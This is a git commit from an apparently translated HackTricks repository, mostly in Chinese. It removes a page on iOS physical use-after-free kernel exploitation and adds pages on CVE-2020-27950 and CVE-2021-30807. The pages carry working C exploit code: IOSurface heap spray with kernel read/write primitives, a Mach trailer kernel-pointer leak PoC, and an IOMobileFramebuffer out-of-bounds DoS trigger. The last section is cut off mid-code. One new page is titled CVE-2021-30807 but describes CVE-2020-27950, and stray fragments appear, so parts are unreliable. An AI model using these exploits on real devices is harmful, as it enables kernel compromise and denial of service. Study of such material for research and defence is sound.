Translated ['src/mobile-pentesting/android-app-pentesting/install-burp-c

This commit is contained in:
Translator 2025-09-26 00:45:45 +00:00
parent 6689aa1abc
commit 8c755f2d5d
26 changed files with 3124 additions and 1758 deletions

View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -838,7 +838,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
# 🤖 AI
- [AI Security](AI/README.md)

View File

@ -1,207 +0,0 @@
# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## 物理使用后释放
这是来自[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)的帖子摘要,此外关于使用此技术的漏洞的更多信息可以在[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)中找到。
### XNU中的内存管理 <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**。然而,这些地址并不直接映射到物理内存。相反,**内核**使用**页表**将虚拟地址转换为实际的**物理地址**。
#### iOS中的页表级别
页表分为三个层次进行分层组织:
1. **L1页表第1级**
* 这里的每个条目表示一个大范围的虚拟内存。
* 它覆盖**0x1000000000字节**(或**256 GB**)的虚拟内存。
2. **L2页表第2级**
* 这里的一个条目表示一个较小的虚拟内存区域,具体为**0x2000000字节**32 MB
* 如果L1条目无法映射整个区域它可能指向L2表。
3. **L3页表第3级**
* 这是最细的级别,每个条目映射一个单独的**4 KB**内存页。
* 如果需要更细粒度的控制L2条目可能指向L3表。
#### 虚拟到物理内存的映射
* **直接映射(块映射)**
* 页表中的某些条目直接**将一系列虚拟地址**映射到一系列连续的物理地址(如快捷方式)。
* **指向子页表的指针**
* 如果需要更细的控制一个级别中的条目例如L1可以指向下一个级别的**子页表**例如L2
#### 示例:映射虚拟地址
假设你尝试访问虚拟地址**0x1000000000**
1. **L1表**
* 内核检查与此虚拟地址对应的L1页表条目。如果它有指向L2页表的**指针**则转到该L2表。
2. **L2表**
* 内核检查L2页表以获取更详细的映射。如果此条目指向**L3页表**,则继续前往。
3. **L3表**
* 内核查找最终的L3条目该条目指向实际内存页的**物理地址**。
#### 地址映射示例
如果你将物理地址**0x800004000**写入L2表的第一个索引
* 从**0x1000000000**到**0x1002000000**的虚拟地址映射到从**0x800004000**到**0x802004000**的物理地址。
* 这是L2级别的**块映射**。
或者如果L2条目指向L3表
* 虚拟地址范围**0x1000000000 -> 0x1002000000**中的每个4 KB页面将由L3表中的单独条目映射。
### 物理使用后释放
**物理使用后释放**UAF发生在
1. 进程**分配**一些内存为**可读和可写**。
2. **页表**被更新以将此内存映射到进程可以访问的特定物理地址。
3. 进程**释放**(释放)内存。
4. 然而,由于**错误**,内核**忘记从页表中删除映射**,尽管它将相应的物理内存标记为可用。
5. 内核随后可以**重新分配这块“释放”的物理内存**用于其他目的,如**内核数据**。
6. 由于映射未被删除,进程仍然可以**读写**这块物理内存。
这意味着进程可以访问**内核内存的页面**,这些页面可能包含敏感数据或结构,可能允许攻击者**操纵内核内存**。
### 利用策略:堆喷射
由于攻击者无法控制哪些特定的内核页面将分配给释放的内存,他们使用一种称为**堆喷射**的技术:
1. 攻击者在内核内存中**创建大量IOSurface对象**。
2. 每个IOSurface对象在其字段中包含一个**魔法值**,便于识别。
3. 他们**扫描释放的页面**查看这些IOSurface对象是否落在释放的页面上。
4. 当他们在释放的页面上找到一个IOSurface对象时他们可以用它来**读写内核内存**。
关于此的更多信息请参见[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)。
### 步骤堆喷射过程
1. **喷射IOSurface对象**攻击者创建许多带有特殊标识符“魔法值”的IOSurface对象。
2. **扫描释放的页面**:他们检查是否有任何对象已分配在释放的页面上。
3. **读/写内核内存**通过操纵IOSurface对象中的字段他们获得在内核内存中执行**任意读写**的能力。这使他们能够:
* 使用一个字段**读取内核内存中的任何32位值**。
* 使用另一个字段**写入64位值**,实现稳定的**内核读/写原语**。
生成带有魔法值IOSURFACE_MAGIC的IOSurface对象以便后续搜索
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
在一个已释放的物理页面中搜索 **`IOSurface`** 对象:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Achieving Kernel Read/Write with IOSurface
在内核内存中控制一个 IOSurface 对象(映射到一个可以从用户空间访问的已释放物理页面)后,我们可以利用它进行 **任意内核读写操作**
**IOSurface 中的关键字段**
IOSurface 对象有两个关键字段:
1. **使用计数指针**:允许进行 **32 位读取**
2. **索引时间戳指针**:允许进行 **64 位写入**
通过覆盖这些指针,我们将它们重定向到内核内存中的任意地址,从而启用读/写功能。
#### 32 位内核读取
要执行读取:
1. 将 **使用计数指针** 覆盖为指向目标地址减去 0x14 字节的偏移量。
2. 使用 `get_use_count` 方法读取该地址的值。
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64位内核写入
要执行写入:
1. 将**索引时间戳指针**覆盖到目标地址。
2. 使用`set_indexed_timestamp`方法写入64位值。
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### 漏洞利用流程回顾
1. **触发物理使用后释放**: 可重用的空闲页面。
2. **喷射IOSurface对象**: 在内核内存中分配许多具有唯一“魔法值”的IOSurface对象。
3. **识别可访问的IOSurface**: 找到一个在你控制的已释放页面上的IOSurface。
4. **滥用使用后释放**: 修改IOSurface对象中的指针以通过IOSurface方法启用任意**内核读/写**。
通过这些原语,漏洞利用提供了对内核内存的受控**32位读取**和**64位写入**。进一步的越狱步骤可能涉及更稳定的读/写原语这可能需要绕过额外的保护例如在较新的arm64e设备上的PPL
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,332 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## 漏洞
你可以在 [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 找到很好的漏洞解释,但总结如下:
内核接收的每个 Mach 消息都以一个 **"trailer"** 结尾:一个可变长度的 struct包含元数据seqno、sender token、audit token、context、access control data、labels...)。内核**总是在消息缓冲区中为最大的可能 trailer**MAX_TRAILER_SIZE保留空间但**只初始化部分字段**,随后又根据**用户可控的接收选项**决定返回哪个 trailer 大小。
以下是与 trailer 相关的 structs
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
然后,当 trailer object 被生成时,仅初始化了部分字段,并且始终为 max trailer size 预留了空间:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
例如,当尝试使用 `mach_msg()` 读取一个 mach 消息时,会调用函数 `ipc_kmsg_add_trailer()` 将 trailer 附加到消息。在该函数内部,会计算 trailer 的大小并填充其他一些 trailer 字段:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
`option` 参数由用户控制,因此**需要传入一个能通过 `if` 检查的值。**
要通过此检查,我们需要发送一个有效且受支持的 `option`
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
但是,因为 `MACH_RCV_TRAILER_MASK` 只是检查位,我们可以传入任何介于 `0``8` 之间的值,从而不会进入 if 语句。
然后,继续查看代码可以发现:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
```
可以看到,如果 `option` 大于或等于 `MACH_RCV_TRAILER_AV` (7),字段 **`msgh_ad`** 会被初始化为 `0`
如果你注意到,**`msgh_ad`** 仍然是 trailer 中唯一之前未被初始化的字段,这可能包含来自先前使用的内存的 leak。
因此,避免初始化它的方法是传入 `option` 值为 `5``6`,这样它会通过第一个 `if` 检查且不会进入初始化 `msgh_ad``if`,因为值 `5``6` 没有与之关联的任何 trailer 类型。
### 基本 PoC
在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中,你可以找到一个用于 leak 一些随机数据的 PoC。
### Leak 内核地址 PoC
在 [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) 中,你可以找到一个用于 leak 内核地址的 PoC。为此消息中发送了大量 `mach_msg_port_descriptor_t` 结构体,因为该结构体在用户态中 `name` 字段是 unsigned int但在内核中 `name` 字段是 struct `ipc_port` 指针。因此,在内核处理中向消息中发送数十个这样的结构体将意味着在消息中 **添加多个内核地址**,从而可以泄露其中一个。
已添加注释以便更好理解:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50
// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // our local receive port (target of sends)
mach_port_t sent_port; // the port whose kernel address we want to leak
/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
* This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
/*
* 2) Create another receive port (sent_port). We'll reference this port
* in OOL descriptors so the kernel stores pointers to its ipc_port
* structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
// Compute userland sizes of our message structs
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
/*
* 3) Prepare the "big" message:
* - Complex bit set (has descriptors)
* - 50 OOL port descriptors, all pointing to the same sent_port
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your processs IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
}
/*
* 4) Prepare the "small" message:
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
/*
* 5) Receive buffer for reading back messages with trailers.
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
* kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size, // send size
0, // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
* This frees the kalloc chunk without copying descriptors back,
* leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG, // try to receive
0, // send size 0
0, // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
* We slightly bump msgh_size by +4 so that when the kernel appends
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;
/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## 参考资料
- [Synacktiv 的博客文章](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,297 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## 漏洞
你可以在 [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) 找到详细说明,这里做个总结:
- 易受攻击的代码路径是 **external method #83**,位于 **IOMobileFramebuffer / AppleCLCD** user client`IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`。该方法接收一个由用户控制的参数,这个参数没有经过任何校验,并作为 **`scalar0`** 传递给下一个函数。
- 该方法转发到 **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**,其中 **`scalar0`**(一个用户可控的 **32-bit** 值)被用作对一个内部 **指针数组****索引**,但没有任何 **边界检查**
> `ptr = *(this + 0xA58 + scalar0 * 8);` → passed to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` as an **`IOSurface*`**.\
> **结果:** **OOB pointer read & type confusion** 发生在该数组上。如果指针无效kernel deref panics → **DoS**
> [!NOTE]
> 该问题已在 **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** 中修复
> [!WARNING]
> 初始调用 `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` 的函数受权限 **`com.apple.private.allow-explicit-graphics-priority`** 保护。然而,**WebKit.WebContent** 拥有该 entitlement因此可以用来从沙箱化进程触发该漏洞。
## DoS PoC
下面是原始博文中的初始 DoS PoC附带额外注释
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
## Arbitrary Read PoC Explained
1. **Opening the right user client**
- `get_appleclcd_uc()` 会找到 **AppleCLCD** 服务并打开 **user client type 2**。AppleCLCD 和 IOMobileFramebuffer 共享相同的 external-methods 表type 2 暴露了 **selector 83**,即易受攻击的方法。**这是你进入该漏洞的入口。** E_POC/)
**Why 83 matters:** the decompiled path is:
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
`IOMobileFramebufferUserClient::get_displayed_surface(...)`\
`IOMobileFramebufferLegacy::get_displayed_surface(...)`\
Inside that last call, the code **uses your 32-bit scalar as an array index with no bounds check**, fetches a pointer from **`this + 0xA58 + index*8`**, and **passes it as an `IOSurface*`** to `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **That's the OOB + type confusion.**
2. **The heap spray (why IOSurface shows up here)**
- `do_spray()` uses **`IOSurfaceRootUserClient`** to **create many IOSurfaces** and **spray small values** (`s_set_value` style). This fills nearby kernel heaps with **pointers to valid IOSurface objects**.
- **Goal:** when selector 83 reads past the legit table, the **OOB slot likely contains a pointer to one of your (real) IOSurfaces**---so the later dereference **doesn't crash** and **succeeds**. IOSurface is a classic, well-documented kernel spray primitive, and Saar's post explicitly lists the **create / set_value / lookup** methods used for this exploitation flow.
3. **The "offset/8" trick (what that index really is)**
- In `trigger_oob(offset)`, you set `scalars[0] = offset / 8`.
- **Why divide by 8?** The kernel does **`base + index*8`** to compute which **pointer-sized slot** to read. You're picking **"slot number N"**, not a byte offset. **Eight bytes per slot** on 64-bit.
- That computed address is **`this + 0xA58 + index*8`**. The PoC uses a big constant (`0x1200000 + 0x1048`) simply to step **far out of bounds** into a region you've tried to **densely populate with IOSurface pointers**. **If the spray "wins," the slot you hit is a valid `IOSurface*`.**
4. **What selector 83 returns (this is the subtle part)**
- The call is:
`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0,
output_scalars, &output_scalars_size, NULL, NULL);`o
- Internally, after the OOB pointer fetch, the driver calls\
**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**.
- **Result:** **`output_scalars[0]` is a Mach port name (u32 handle) in your task** for *whatever object pointer you supplied via OOB*. **It is not a raw kernel address leak; it's a userspace handle (send right).** This exact behavior (copying a *port name*) is shown in Saar's decompilation.
**Why that's useful:** with a **port name** to the (supposed) IOSurface, you can now use **IOSurfaceRoot methods** like:
- **`s_lookup_surface_from_port` (method 34)** → turn the port into a **surface ID** you can operate on through other IOSurface calls, and
- **`s_create_port_from_surface` (method 35)** if you need the inverse.\
Saar calls out these exact methods as the next step. **The PoC is proving you can "manufacture" a legitimate IOSurface handle from an OOB slot.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com)
This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) and added some comments to explain the steps:
```c
#include "exploit.h"
// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
